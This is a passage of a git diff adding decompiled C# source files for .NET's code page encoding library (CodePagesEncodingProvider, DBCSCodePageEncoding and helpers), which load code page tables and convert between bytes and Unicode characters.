lock (s_streamLock) + { + s_codePagesEncodingDataStream.Seek(44L, SeekOrigin.Begin); + int codePageCount; + fixed (byte* ptr = &s_codePagesDataHeader[0]) + { + CodePageDataFileHeader* ptr2 = (CodePageDataFileHeader*)ptr; + codePageCount = ptr2->CodePageCount; + } + fixed (byte* ptr3 = &array[0]) + { + CodePageIndex* ptr4 = (CodePageIndex*)ptr3; + for (int i = 0; i < codePageCount; i++) + { + ReadCodePageIndex(s_codePagesEncodingDataStream, array); + if (ptr4->CodePage == codePage) + { + long position = s_codePagesEncodingDataStream.Position; + s_codePagesEncodingDataStream.Seek(ptr4->Offset, SeekOrigin.Begin); + ReadCodePageHeader(s_codePagesEncodingDataStream, m_codePageHeader); + m_firstDataWordOffset = (int)s_codePagesEncodingDataStream.Position; + if (i == codePageCount - 1) + { + m_dataSize = (int)(s_codePagesEncodingDataStream.Length - ptr4->Offset - m_codePageHeader.Length); + } + else + { + s_codePagesEncodingDataStream.Seek(position, SeekOrigin.Begin); + int offset = ptr4->Offset; + ReadCodePageIndex(s_codePagesEncodingDataStream, array); + m_dataSize = ptr4->Offset - offset - m_codePageHeader.Length; + } + return true; + } + } + } + } + return false; + } + + internal unsafe static int GetCodePageByteSize(int codePage) + { + byte[] array = new byte[sizeof(CodePageIndex)]; + lock (s_streamLock) + { + s_codePagesEncodingDataStream.Seek(44L, SeekOrigin.Begin); + int codePageCount; + fixed (byte* ptr = &s_codePagesDataHeader[0]) + { + CodePageDataFileHeader* ptr2 = (CodePageDataFileHeader*)ptr; + codePageCount = ptr2->CodePageCount; + } + fixed (byte* ptr3 = &array[0]) + { + CodePageIndex* ptr4 = (CodePageIndex*)ptr3; + for (int i = 0; i < codePageCount; i++) + { + ReadCodePageIndex(s_codePagesEncodingDataStream, array); + if (ptr4->CodePage == codePage) + { + return ptr4->ByteCount; + } + } + } + } + return 0; + } + + protected abstract void LoadManagedCodePage(); + + protected unsafe byte* GetNativeMemory(int iSize) + { + if (safeNativeMemoryHandle == null) + { + byte* ptr = (byte*)(void*)Marshal.AllocHGlobal(iSize); + safeNativeMemoryHandle = new SafeAllocHHandle((IntPtr)ptr); + } + return (byte*)(void*)safeNativeMemoryHandle.DangerousGetHandle(); + } + + protected abstract void ReadBestFitTable(); + + internal char[] GetBestFitUnicodeToBytesData() + { + if (arrayUnicodeBestFit == null) + { + ReadBestFitTable(); + } + return arrayUnicodeBestFit; + } + + internal char[] GetBestFitBytesToUnicodeData() + { + if (arrayBytesBestFit == null) + { + ReadBestFitTable(); + } + return arrayBytesBestFit; + } + + internal void CheckMemorySection() + { + if (safeNativeMemoryHandle != null && safeNativeMemoryHandle.DangerousGetHandle() == IntPtr.Zero) + { + LoadManagedCodePage(); + } + } +} diff --git a/decompiled/Libraries/system.text.encoding.codepages/System.Text/CodePagesEncodingProvider.cs b/decompiled/Libraries/system.text.encoding.codepages/System.Text/CodePagesEncodingProvider.cs new file mode 100644 index 0000000..4b4fcb5 --- /dev/null +++ b/decompiled/Libraries/system.text.encoding.codepages/System.Text/CodePagesEncodingProvider.cs @@ -0,0 +1,205 @@ +using System.Collections.Generic; +using System.Threading; + +namespace System.Text; + +public sealed class CodePagesEncodingProvider : EncodingProvider +{ + private static readonly EncodingProvider s_singleton = new CodePagesEncodingProvider(); + + private readonly Dictionary _encodings = new Dictionary(); + + private readonly ReaderWriterLockSlim _cacheLock = new ReaderWriterLockSlim(); + + private const int ISCIIAssemese = 57006; + + private const int ISCIIBengali = 57003; + + private const int ISCIIDevanagari = 57002; + + private const int ISCIIGujarathi = 57010; + + private const int ISCIIKannada = 57008; + + private const int ISCIIMalayalam = 57009; + + private const int ISCIIOriya = 57007; + + private const int ISCIIPanjabi = 57011; + + private const int ISCIITamil = 57004; + + private const int ISCIITelugu = 57005; + + private const int ISOKorean = 50225; + + private const int ChineseHZ = 52936; + + private const int ISO2022JP = 50220; + + private const int ISO2022JPESC = 50221; + + private const int ISO2022JPSISO = 50222; + + private const int ISOSimplifiedCN = 50227; + + private const int EUCJP = 51932; + + private const int CodePageMacGB2312 = 10008; + + private const int CodePageMacKorean = 10003; + + private const int CodePageGB2312 = 20936; + + private const int CodePageDLLKorean = 20949; + + private const int GB18030 = 54936; + + private const int DuplicateEUCCN = 51936; + + private const int EUCKR = 51949; + + private const int EUCCN = 936; + + private const int ISO_8859_8I = 38598; + + private const int ISO_8859_8_Visual = 28598; + + public static EncodingProvider Instance => s_singleton; + + private static int SystemDefaultCodePage + { + get + { + if (!global::Interop.Kernel32.TryGetACPCodePage(out var codePage)) + { + return 0; + } + return codePage; + } + } + + internal CodePagesEncodingProvider() + { + } + + public override Encoding? GetEncoding(int codepage) + { + if (codepage < 0 || codepage > 65535) + { + return null; + } + if (codepage == 0) + { + int systemDefaultCodePage = SystemDefaultCodePage; + if (systemDefaultCodePage == 0) + { + return null; + } + return GetEncoding(systemDefaultCodePage); + } + Encoding value = null; + _cacheLock.EnterUpgradeableReadLock(); + try + { + if (_encodings.TryGetValue(codepage, out value)) + { + return value; + } + switch (BaseCodePageEncoding.GetCodePageByteSize(codepage)) + { + case 1: + value = new SBCSCodePageEncoding(codepage); + break; + case 2: + value = new DBCSCodePageEncoding(codepage); + break; + default: + value = GetEncodingRare(codepage); + if (value == null) + { + return null; + } + break; + } + _cacheLock.EnterWriteLock(); + try + { + if (_encodings.TryGetValue(codepage, out var value2)) + { + return value2; + } + _encodings.Add(codepage, value); + return value; + } + finally + { + _cacheLock.ExitWriteLock(); + } + } + finally + { + _cacheLock.ExitUpgradeableReadLock(); + } + } + + public override Encoding? GetEncoding(string name) + { + int codePageFromName = System.Text.EncodingTable.GetCodePageFromName(name); + if (codePageFromName == 0) + { + return null; + } + return GetEncoding(codePageFromName); + } + + private static Encoding GetEncodingRare(int codepage) + { + Encoding result = null; + switch (codepage) + { + case 57002: + case 57003: + case 57004: + case 57005: + case 57006: + case 57007: + case 57008: + case 57009: + case 57010: + case 57011: + result = new ISCIIEncoding(codepage); + break; + case 10008: + result = new DBCSCodePageEncoding(10008, 20936); + break; + case 10003: + result = new DBCSCodePageEncoding(10003, 20949); + break; + case 54936: + result = new GB18030Encoding(); + break; + case 50220: + case 50221: + case 50222: + case 50225: + case 52936: + result = new ISO2022Encoding(codepage); + break; + case 50227: + case 51936: + result = new DBCSCodePageEncoding(codepage, 936); + break; + case 51932: + result = new EUCJPEncoding(); + break; + case 51949: + result = new DBCSCodePageEncoding(codepage, 20949); + break; + case 38598: + result = new SBCSCodePageEncoding(codepage, 28598); + break; + } + return result; + } +} diff --git a/decompiled/Libraries/system.text.encoding.codepages/System.Text/DBCSCodePageEncoding.cs b/decompiled/Libraries/system.text.encoding.codepages/System.Text/DBCSCodePageEncoding.cs new file mode 100644 index 0000000..02d9921 --- /dev/null +++ b/decompiled/Libraries/system.text.encoding.codepages/System.Text/DBCSCodePageEncoding.cs @@ -0,0 +1,926 @@ +using System.Buffers.Binary; +using System.IO; +using System.Runtime.CompilerServices; +using System.Threading; + +namespace System.Text; + +internal class DBCSCodePageEncoding : BaseCodePageEncoding +{ + internal sealed class DBCSDecoder : System.Text.DecoderNLS + { + internal byte bLeftOver; + + internal override bool HasState => bLeftOver != 0; + + public DBCSDecoder(DBCSCodePageEncoding encoding) + : base(encoding) + { + } + + public override void Reset() + { + bLeftOver = 0; + m_fallbackBuffer?.Reset(); + } + } + + protected unsafe char* mapBytesToUnicode = null; + + protected unsafe ushort* mapUnicodeToBytes = null; + + protected const char UNKNOWN_CHAR_FLAG = '\0'; + + protected const char UNICODE_REPLACEMENT_CHAR = '\ufffd'; + + protected const char LEAD_BYTE_CHAR = '\ufffe'; + + private ushort _bytesUnknown; + + private int _byteCountUnknown; + + protected char charUnknown; + + private static object s_InternalSyncObject; + + private static object InternalSyncObject + { + get + { + if (s_InternalSyncObject == null) + { + object value = new object(); + Interlocked.CompareExchange(ref s_InternalSyncObject, value, (object)null); + } + return s_InternalSyncObject; + } + } + + public DBCSCodePageEncoding(int codePage) + : this(codePage, codePage) + { + } + + internal unsafe DBCSCodePageEncoding(int codePage, int dataCodePage) + : base(codePage, dataCodePage) + { + } + + internal unsafe DBCSCodePageEncoding(int codePage, int dataCodePage, EncoderFallback enc, DecoderFallback dec) + : base(codePage, dataCodePage, enc, dec) + { + } + + internal unsafe static char ReadChar(char* pChar) + { + if (BitConverter.IsLittleEndian) + { + return *pChar; + } + return (char)BinaryPrimitives.ReverseEndianness(*pChar); + } + + protected unsafe override void LoadManagedCodePage() + { + fixed (byte* ptr = &m_codePageHeader[0]) + { + CodePageHeader* ptr2 = (CodePageHeader*)ptr; + if (ptr2->ByteCount != 2) + { + throw new NotSupportedException(System.SR.Format(System.SR.NotSupported_NoCodepageData, CodePage)); + } + _bytesUnknown = ptr2->ByteReplace; + charUnknown = ptr2->UnicodeReplace; + if (base.DecoderFallback is InternalDecoderBestFitFallback) + { + ((InternalDecoderBestFitFallback)base.DecoderFallback).cReplacement = charUnknown; + } + _byteCountUnknown = 1; + if (_bytesUnknown > 255) + { + _byteCountUnknown++; + } + int num = 262148 + iExtraBytes; + byte* nativeMemory = GetNativeMemory(num); + Unsafe.InitBlockUnaligned(nativeMemory, 0, (uint)num); + mapBytesToUnicode = (char*)nativeMemory; + mapUnicodeToBytes = (ushort*)nativeMemory + 65536; + byte[] array = new byte[m_dataSize]; + lock (BaseCodePageEncoding.s_streamLock) + { + BaseCodePageEncoding.s_codePagesEncodingDataStream.Seek(m_firstDataWordOffset, SeekOrigin.Begin); + int num2 = BaseCodePageEncoding.s_codePagesEncodingDataStream.Read(array, 0, m_dataSize); + } + fixed (byte* ptr3 = array) + { + char* ptr4 = (char*)ptr3; + int num3 = 0; + int num4 = 0; + while (num3 < 65536) + { + char c = ReadChar(ptr4); + ptr4++; + switch (c) + { + case '\u0001': + num3 = ReadChar(ptr4); + ptr4++; + continue; + case '\u0002': + case '\u0003': + case '\u0004': + case '\u0005': + case '\u0006': + case '\a': + case '\b': + case '\t': + case '\n': + case '\v': + case '\f': + case '\r': + case '\u000e': + case '\u000f': + case '\u0010': + case '\u0011': + case '\u0012': + case '\u0013': + case '\u0014': + case '\u0015': + case '\u0016': + case '\u0017': + case '\u0018': + case '\u0019': + case '\u001a': + case '\u001b': + case '\u001c': + case '\u001d': + case '\u001e': + case '\u001f': + num3 += c; + continue; + } + switch (c) + { + case '\uffff': + num4 = num3; + c = (char)num3; + break; + case '\ufffe': + num4 = num3; + break; + case '\ufffd': + num3++; + continue; + default: + num4 = num3; + break; + } + if (CleanUpBytes(ref num4)) + { + if (c != '\ufffe') + { + mapUnicodeToBytes[(int)c] = (ushort)num4; + } + mapBytesToUnicode[num4] = c; + } + num3++; + } + } + CleanUpEndBytes(mapBytesToUnicode); + } + } + + protected virtual bool CleanUpBytes(ref int bytes) + { + return true; + } + + protected unsafe virtual void CleanUpEndBytes(char* chars) + { + } + + protected unsafe override void ReadBestFitTable() + { + lock (InternalSyncObject) + { + if (arrayUnicodeBestFit != null) + { + return; + } + byte[] array = new byte[m_dataSize]; + lock (BaseCodePageEncoding.s_streamLock) + { + BaseCodePageEncoding.s_codePagesEncodingDataStream.Seek(m_firstDataWordOffset, SeekOrigin.Begin); + int num = BaseCodePageEncoding.s_codePagesEncodingDataStream.Read(array, 0, m_dataSize); + } + fixed (byte* ptr = array) + { + char* ptr2 = (char*)ptr; + int num2 = 0; + while (num2 < 65536) + { + char c = ReadChar(ptr2); + ptr2++; + switch (c) + { + case '\u0001': + num2 = ReadChar(ptr2); + ptr2++; + break; + case '\u0002': + case '\u0003': + case '\u0004': + case '\u0005': + case '\u0006': + case '\a': + case '\b': + case '\t': + case '\n': + case '\v': + case '\f': + case '\r': + case '\u000e': + case '\u000f': + case '\u0010': + case '\u0011': + case '\u0012': + case '\u0013': + case '\u0014': + case '\u0015': + case '\u0016': + case '\u0017': + case '\u0018': + case '\u0019': + case '\u001a': + case '\u001b': + case '\u001c': + case '\u001d': + case '\u001e': + case '\u001f': + num2 += c; + break; + default: + num2++; + break; + } + } + char* ptr3 = ptr2; + int num3 = 0; + num2 = ReadChar(ptr2); + ptr2++; + while (num2 < 65536) + { + char c2 = ReadChar(ptr2); + ptr2++; + switch (c2) + { + case '\u0001': + num2 = ReadChar(ptr2); + ptr2++; + continue; + case '\u0002': + case '\u0003': + case '\u0004': + case '\u0005': + case '\u0006': + case '\a': + case '\b': + case '\t': + case '\n': + case '\v': + case '\f': + case '\r': + case '\u000e': + case '\u000f': + case '\u0010': + case '\u0011': + case '\u0012': + case '\u0013': + case '\u0014': + case '\u0015': + case '\u0016': + case '\u0017': + case '\u0018': + case '\u0019': + case '\u001a': + case '\u001b': + case '\u001c': + case '\u001d': + case '\u001e': + case '\u001f': + num2 += c2; + continue; + } + if (c2 != '\ufffd') + { + int bytes = num2; + if (CleanUpBytes(ref bytes) && mapBytesToUnicode[bytes] != c2) + { + num3++; + } + } + num2++; + } + char[] array2 = new char[num3 * 2]; + num3 = 0; + ptr2 = ptr3; + num2 = ReadChar(ptr2); + ptr2++; + bool flag = false; + while (num2 < 65536) + { + char c3 = ReadChar(ptr2); + ptr2++; + switch (c3) + { + case '\u0001': + num2 = ReadChar(ptr2); + ptr2++; + continue; + case '\u0002': + case '\u0003': + case '\u0004': + case '\u0005': + case '\u0006': + case '\a': + case '\b': + case '\t': + case '\n': + case '\v': + case '\f': + case '\r': + case '\u000e': + case '\u000f': + case '\u0010': + case '\u0011': + case '\u0012': + case '\u0013': + case '\u0014': + case '\u0015': + case '\u0016': + case '\u0017': + case '\u0018': + case '\u0019': + case '\u001a': + case '\u001b': + case '\u001c': + case '\u001d': + case '\u001e': + case '\u001f': + num2 += c3; + continue; + } + if (c3 != '\ufffd') + { + int bytes2 = num2; + if (CleanUpBytes(ref bytes2) && mapBytesToUnicode[bytes2] != c3) + { + if (bytes2 != num2) + { + flag = true; + } + array2[num3++] = (char)bytes2; + array2[num3++] = c3; + } + } + num2++; + } + if (flag) + { + for (int i = 0; i < array2.Length - 2; i += 2) + { + int num4 = i; + char c4 = array2[i]; + for (int j = i + 2; j < array2.Length; j += 2) + { + if (c4 > array2[j]) + { + c4 = array2[j]; + num4 = j; + } + } + if (num4 != i) + { + char c5 = array2[num4]; + array2[num4] = array2[i]; + array2[i] = c5; + c5 = array2[num4 + 1]; + array2[num4 + 1] = array2[i + 1]; + array2[i + 1] = c5; + } + } + } + arrayBytesBestFit = array2; + char* ptr4 = ptr2; + int num5 = ReadChar(ptr2++); + num3 = 0; + while (num5 < 65536) + { + char c6 = ReadChar(ptr2); + ptr2++; + switch (c6) + { + case '\u0001': + num5 = ReadChar(ptr2); + ptr2++; + continue; + case '\u0002': + case '\u0003': + case '\u0004': + case '\u0005': + case '\u0006': + case '\a': + case '\b': + case '\t': + case '\n': + case '\v': + case '\f': + case '\r': + case '\u000e': + case '\u000f': + case '\u0010': + case '\u0011': + case '\u0012': + case '\u0013': + case '\u0014': + case '\u0015': + case '\u0016': + case '\u0017': + case '\u0018': + case '\u0019': + case '\u001a': + case '\u001b': + case '\u001c': + case '\u001d': + case '\u001e': + case '\u001f': + num5 += c6; + continue; + } + if (c6 > '\0') + { + num3++; + } + num5++; + } + array2 = new char[num3 * 2]; + ptr2 = ptr4; + num5 = ReadChar(ptr2++); + num3 = 0; + while (num5 < 65536) + { + char c7 = ReadChar(ptr2); + ptr2++; + switch (c7) + { + case '\u0001': + num5 = ReadChar(ptr2); + ptr2++; + continue; + case '\u0002': + case '\u0003': + case '\u0004': + case '\u0005': + case '\u0006': + case '\a': + case '\b': + case '\t': + case '\n': + case '\v': + case '\f': + case '\r': + case '\u000e': + case '\u000f': + case '\u0010': + case '\u0011': + case '\u0012': + case '\u0013': + case '\u0014': + case '\u0015': + case '\u0016': + case '\u0017': + case '\u0018': + case '\u0019': + case '\u001a': + case '\u001b': + case '\u001c': + case '\u001d': + case '\u001e': + case '\u001f': + num5 += c7; + continue; + } + if (c7 > '\0') + { + int bytes3 = c7; + if (CleanUpBytes(ref bytes3)) + { + array2[num3++] = (char)num5; + array2[num3++] = mapBytesToUnicode[bytes3]; + } + } + num5++; + } + arrayUnicodeBestFit = array2; + } + } + } + + public unsafe override int GetByteCount(char* chars, int count, System.Text.EncoderNLS encoder) + { + CheckMemorySection(); + char c = '\0'; + if (encoder != null) + { + c = encoder.charLeftOver; + if (encoder.InternalHasFallbackBuffer && encoder.FallbackBuffer.Remaining > 0) + { + throw new ArgumentException(System.SR.Format(System.SR.Argument_EncoderFallbackNotEmpty, EncodingName, encoder.Fallback.GetType())); + } + } + int num = 0; + char* ptr = chars + count; + EncoderFallbackBuffer encoderFallbackBuffer = null; + EncoderFallbackBufferHelper encoderFallbackBufferHelper = new EncoderFallbackBufferHelper(encoderFallbackBuffer); + if (c > '\0') + { + encoderFallbackBuffer = encoder.FallbackBuffer; + encoderFallbackBufferHelper = new EncoderFallbackBufferHelper(encoderFallbackBuffer); + encoderFallbackBufferHelper.InternalInitialize(chars, ptr, encoder, _setEncoder: false); + encoderFallbackBufferHelper.InternalFallback(c, ref chars); + } + char c2; + while ((c2 = ((encoderFallbackBuffer != null) ? encoderFallbackBufferHelper.InternalGetNextChar() : '\0')) != 0 || chars < ptr) + { + if (c2 == '\0') + { + c2 = *chars; + chars++; + } + ushort num2 = mapUnicodeToBytes[(int)c2]; + if (num2 == 0 && c2 != 0) + { + if (encoderFallbackBuffer == null) + { + encoderFallbackBuffer = ((encoder != null) ? encoder.FallbackBuffer : base.EncoderFallback.CreateFallbackBuffer()); + encoderFallbackBufferHelper = new EncoderFallbackBufferHelper(encoderFallbackBuffer); + encoderFallbackBufferHelper.InternalInitialize(ptr - count, ptr, encoder, _setEncoder: false); + } + encoderFallbackBufferHelper.InternalFallback(c2, ref chars); + } + else + { + num++; + if (num2 >= 256) + { + num++; + } + } + } + return num; + } + + public unsafe override int GetBytes(char* chars, int charCount, byte* bytes, int byteCount, System.Text.EncoderNLS encoder) + { + CheckMemorySection(); + EncoderFallbackBuffer encoderFallbackBuffer = null; + char* ptr = chars + charCount; + char* ptr2 = chars; + byte* ptr3 = bytes; + byte* ptr4 = bytes + byteCount; + EncoderFallbackBufferHelper encoderFallbackBufferHelper = new EncoderFallbackBufferHelper(encoderFallbackBuffer); + char c = '\0'; + if (encoder != null) + { + c = encoder.charLeftOver; + encoderFallbackBuffer = encoder.FallbackBuffer; + encoderFallbackBufferHelper = new EncoderFallbackBufferHelper(encoderFallbackBuffer); + encoderFallbackBufferHelper.InternalInitialize(chars, ptr, encoder, _setEncoder: true); + if (encoder.m_throwOnOverflow && encoderFallbackBuffer.Remaining > 0) + { + throw new ArgumentException(System.SR.Format(System.SR.Argument_EncoderFallbackNotEmpty, EncodingName, encoder.Fallback.GetType())); + } + if (c > '\0') + { + encoderFallbackBufferHelper.InternalFallback(c, ref chars); + } + } + char c2; + while ((c2 = ((encoderFallbackBuffer != null) ? encoderFallbackBufferHelper.InternalGetNextChar() : '\0')) != 0 || chars < ptr) + { + if (c2 == '\0') + { + c2 = *chars; + chars++; + } + ushort num = mapUnicodeToBytes[(int)c2]; + if (num == 0 && c2 != 0) + { + if (encoderFallbackBuffer == null) + { + encoderFallbackBuffer = base.EncoderFallback.CreateFallbackBuffer(); + encoderFallbackBufferHelper = new EncoderFallbackBufferHelper(encoderFallbackBuffer); + encoderFallbackBufferHelper.InternalInitialize(ptr - charCount, ptr, encoder, _setEncoder: true); + } + encoderFallbackBufferHelper.InternalFallback(c2, ref chars); + continue; + } + if (num >= 256) + { + if (bytes + 1 >= ptr4) + { + if (encoderFallbackBuffer == null || !encoderFallbackBufferHelper.bFallingBack) + { + chars--; + } + else + { + encoderFallbackBuffer.MovePrevious(); + } + ThrowBytesOverflow(encoder, chars == ptr2); + break; + } + *bytes = (byte)(num >> 8); + bytes++; + } + else if (bytes >= ptr4) + { + if (encoderFallbackBuffer == null || !encoderFallbackBufferHelper.bFallingBack) + { + chars--; + } + else + { + encoderFallbackBuffer.MovePrevious(); + } + ThrowBytesOverflow(encoder, chars == ptr2); + break; + } + *bytes = (byte)(num & 0xFF); + bytes++; + } + if (encoder != null) + { + if (encoderFallbackBuffer != null && !encoderFallbackBufferHelper.bUsedEncoder) + { + encoder.charLeftOver = '\0'; + } + encoder.m_charsUsed = (int)(chars - ptr2); + } + return (int)(bytes - ptr3); + } + + public unsafe override int GetCharCount(byte* bytes, int count, System.Text.DecoderNLS baseDecoder) + { + CheckMemorySection(); + DBCSDecoder dBCSDecoder = (DBCSDecoder)baseDecoder; + DecoderFallbackBuffer decoderFallbackBuffer = null; + byte* ptr = bytes + count; + int num = count; + DecoderFallbackBufferHelper decoderFallbackBufferHelper = new DecoderFallbackBufferHelper(decoderFallbackBuffer); + if (dBCSDecoder != null && dBCSDecoder.bLeftOver > 0) + { + if (count == 0) + { + if (!dBCSDecoder.MustFlush) + { + return 0; + } + decoderFallbackBuffer = dBCSDecoder.FallbackBuffer; + decoderFallbackBufferHelper = new DecoderFallbackBufferHelper(decoderFallbackBuffer); + decoderFallbackBufferHelper.InternalInitialize(bytes, null); + byte[] bytes2 = new byte[1] { dBCSDecoder.bLeftOver }; + return decoderFallbackBufferHelper.InternalFallback(bytes2, bytes); + } + int num2 = dBCSDecoder.bLeftOver << 8; + num2 |= *bytes; + bytes++; + if (mapBytesToUnicode[num2] == '\0' && num2 != 0) + { + num--; + decoderFallbackBuffer = dBCSDecoder.FallbackBuffer; + decoderFallbackBufferHelper = new DecoderFallbackBufferHelper(decoderFallbackBuffer); + decoderFallbackBufferHelper.InternalInitialize(ptr - count, null); + byte[] bytes3 = new byte[2] + { + (byte)(num2 >> 8), + (byte)num2 + }; + num += decoderFallbackBufferHelper.InternalFallback(bytes3, bytes); + } + } + while (bytes < ptr) + { + int num3 = *bytes; + bytes++; + char c = mapBytesToUnicode[num3]; + if (c == '\ufffe') + { + num--; + if (bytes < ptr) + { + num3 <<= 8; + num3 |= *bytes; + bytes++; + c = mapBytesToUnicode[num3]; + } + else + { + if (dBCSDecoder != null && !dBCSDecoder.MustFlush) + { + break; + } + num++; + c = '\0'; + } + } + if (c == '\0' && num3 != 0) + { + if (decoderFallbackBuffer == null) + { + decoderFallbackBuffer = ((dBCSDecoder != null) ? dBCSDecoder.FallbackBuffer : base.DecoderFallback.CreateFallbackBuffer()); + decoderFallbackBufferHelper = new DecoderFallbackBufferHelper(decoderFallbackBuffer); + decoderFallbackBufferHelper.InternalInitialize(ptr - count, null); + } + num--; + byte[] bytes4 = ((num3 >= 256) ? new byte[2] + { + (byte)(num3 >> 8), + (byte)num3 + } : new byte[1] { (byte)num3 }); + num += decoderFallbackBufferHelper.InternalFallback(bytes4, bytes); + } + } + return num; + } + + public unsafe override int GetChars(byte* bytes, int byteCount, char* chars, int charCount, System.Text.DecoderNLS baseDecoder) + { + CheckMemorySection(); + DBCSDecoder dBCSDecoder = (DBCSDecoder)baseDecoder; + byte* ptr = bytes; + byte* ptr2 = bytes + byteCount; + char* ptr3 = chars; + char* ptr4 = chars + charCount; + bool flag = false; + DecoderFallbackBuffer decoderFallbackBuffer = null; + DecoderFallbackBufferHelper decoderFallbackBufferHelper = new DecoderFallbackBufferHelper(decoderFallbackBuffer); + if (dBCSDecoder != null && dBCSDecoder.bLeftOver > 0) + { + if (byteCount == 0) + { + if (!dBCSDecoder.MustFlush) + { + return 0; + } + decoderFallbackBuffer = dBCSDecoder.FallbackBuffer; + decoderFallbackBufferHelper = new DecoderFallbackBufferHelper(decoderFallbackBuffer); + decoderFallbackBufferHelper.InternalInitialize(bytes, ptr4); + byte[] bytes2 = new byte[1] { dBCSDecoder.bLeftOver }; + if (!decoderFallbackBufferHelper.InternalFallback(bytes2, bytes, ref chars)) + { + ThrowCharsOverflow(dBCSDecoder, nothingDecoded: true); + } + dBCSDecoder.bLeftOver = 0; + return (int)(chars - ptr3); + } + int num = dBCSDecoder.bLeftOver << 8; + num |= *bytes; + bytes++; + char c = mapBytesToUnicode[num]; + if (c == '\0' && num != 0) + { + decoderFallbackBuffer = dBCSDecoder.FallbackBuffer; + decoderFallbackBufferHelper = new DecoderFallbackBufferHelper(decoderFallbackBuffer); + decoderFallbackBufferHelper.InternalInitialize(ptr2 - byteCount, ptr4); + byte[] bytes3 = new byte[2] + { + (byte)(num >> 8), + (byte)num + }; + if (!decoderFallbackBufferHelper.InternalFallback(bytes3, bytes, ref chars)) + { + ThrowCharsOverflow(dBCSDecoder, nothingDecoded: true); + } + } + else + { + if (chars >= ptr4) + { + ThrowCharsOverflow(dBCSDecoder, nothingDecoded: true); + } + *(chars++) = c; + } + } + while (bytes < ptr2) + { + int num2 = *bytes; + bytes++; + char c2 = mapBytesToUnicode[num2]; + if (c2 == '\ufffe') + { + if (bytes < ptr2) + { + num2 <<= 8; + num2 |= *bytes; + bytes++; + c2 = mapBytesToUnicode[num2]; + } + else + { + if (dBCSDecoder != null && !dBCSDecoder.MustFlush) + { + flag = true; + dBCSDecoder.bLeftOver = (byte)num2; + break; + } + c2 = '\0'; + } + } + if (c2 == '\0' && num2 != 0) + { + if (decoderFallbackBuffer == null) + { + decoderFallbackBuffer = ((dBCSDecoder != null) ? dBCSDecoder.FallbackBuffer : base.DecoderFallback.CreateFallbackBuffer()); + decoderFallbackBufferHelper = new DecoderFallbackBufferHelper(decoderFallbackBuffer); + decoderFallbackBufferHelper.InternalInitialize(ptr2 - byteCount, ptr4); + } + byte[] array = ((num2 >= 256) ? new byte[2] + { + (byte)(num2 >> 8), + (byte)num2 + } : new byte[1] { (byte)num2 }); + if (!decoderFallbackBufferHelper.InternalFallback(array, bytes, ref chars)) + { + bytes -= array.Length; + decoderFallbackBufferHelper.InternalReset(); + ThrowCharsOverflow(dBCSDecoder, bytes == ptr); + break; + } + continue; + } + if (chars >= ptr4) + { + bytes--; + if (num2 >= 256) + { + bytes--; + } + ThrowCharsOverflow(dBCSDecoder, bytes == ptr); + break; + } + *(chars++) = c2; + } + if (dBCSDecoder != null) + { + if (!flag) + { + dBCSDecoder.bLeftOver = 0; + } + dBCSDecoder.m_bytesUsed = (int)(bytes - ptr); + } + return (int)(chars - ptr3); + } + + public override int GetMaxByteCount(int charCount) + { + if (charCount < 0) + { + throw new ArgumentOutOfRangeException("charCount", System.SR.ArgumentOutOfRange_NeedNonNegNum); + } + long num = (long)charCount + 1L; + if (base.EncoderFallback.MaxCharCount > 1) + { + num *= base.EncoderFallback.MaxCharCount; + } + num *= 2; + if (num > int.MaxValue) + { + throw new ArgumentOutOfRangeException("charCount", System.SR.ArgumentOutOfRange_GetByteCountOverflow); + } + return (int)num; + } + + public override int GetMaxCharCount(int byteCount) + { + if (byteCount < 0) + { + throw new ArgumentOutOfRangeException("byteCount", System.SR.ArgumentOutOfRange_NeedNonNegNum); + } + long num = (long)byteCount + 1L; + if (base.DecoderFallback.MaxCharCount > 1) + { + num *= base.DecoderFallback.MaxCharCount; + } + if (num > int.MaxValue) + { + throw new ArgumentOutOfRangeException("byteCount", System.SR.ArgumentOutOfRange_GetCharCountOverflow); + } + return (int)num; + } + + public override Decoder GetDecoder() + { + return new DBCSDecoder(this); + } +} diff --git a/decompiled/Libraries/system.text.encoding.codepages/System.Text/DecoderFallbackBufferHelper.cs b/decompiled/Libraries/system.text.encoding.codepages/System.Text/DecoderFallbackBufferHelper.cs new file mode 100644 index 0000000..e21e950 --- /dev/null +++ b/decompiled/Libraries/system.text.encoding.codepages/System.Text/DecoderFallbackBufferHelper.cs @@ -0,0 +1,104 @@ +namespace System.Text; + +internal unsafe struct DecoderFallbackBufferHelper(DecoderFallbackBuffer fallbackBuffer) +{ + internal unsafe byte* byteStart = null; + + internal unsafe char* charEnd = null; + + private readonly DecoderFallbackBuffer _fallbackBuffer = fallbackBuffer; + + internal unsafe void InternalReset() + { + byteStart = null; + _fallbackBuffer.Reset(); + } + + internal unsafe void InternalInitialize(byte* _byteStart, char* _charEnd) + { + byteStart = _byteStart; + charEnd = _charEnd; + } + + internal unsafe bool InternalFallback(byte[] bytes, byte* pBytes, ref char* chars) + { + if (_fallbackBuffer.Fallback(bytes, (int)(pBytes - byteStart - bytes.Length))) + { + char* ptr = chars; + bool flag = false; + char nextChar; + while ((nextChar = _fallbackBuffer.GetNextChar()) != 0) + { + if (char.IsSurrogate(nextChar)) + { + if (char.IsHighSurrogate(nextChar)) + { + if (flag) + { + throw new ArgumentException(System.SR.Argument_InvalidCharSequenceNoIndex); + } + flag = true; + } + else + { + if (!flag) + { + throw new ArgumentException(System.SR.Argument_InvalidCharSequenceNoIndex); + } + flag = false; + } + } + if (ptr >= charEnd) + { + return false; + } + *(ptr++) = nextChar; + } + if (flag) + { + throw new ArgumentException(System.SR.Argument_InvalidCharSequenceNoIndex); + } + chars = ptr; + } + return true; + } + + internal unsafe int InternalFallback(byte[] bytes, byte* pBytes) + { + if (_fallbackBuffer.Fallback(bytes, (int)(pBytes - byteStart - bytes.Length))) + { + int num = 0; + bool flag = false; + char nextChar; + while ((nextChar = _fallbackBuffer.GetNextChar()) != 0) + { + if (char.IsSurrogate(nextChar)) + { + if (char.IsHighSurrogate(nextChar)) + { + if (flag) + { + throw new ArgumentException(System.SR.Argument_InvalidCharSequenceNoIndex); + } + flag = true; + } + else + { + if (!flag) + { + throw new ArgumentException(System.SR.Argument_InvalidCharSequenceNoIndex); + } + flag = false; + } + } + num++; + } + if (flag) + { + throw new ArgumentException(System.SR.Argument_InvalidCharSequenceNoIndex); + } + return num; + } + return 0; + } +} diff --git a/decompiled/Libraries/system.text.encoding.codepages/System.Text/DecoderNLS.cs b/decompiled/Libraries/system.text.encoding.codepages/System.Text/DecoderNLS.cs new file mode 100644 index 0000000..4b9a0a0 --- /dev/null +++ 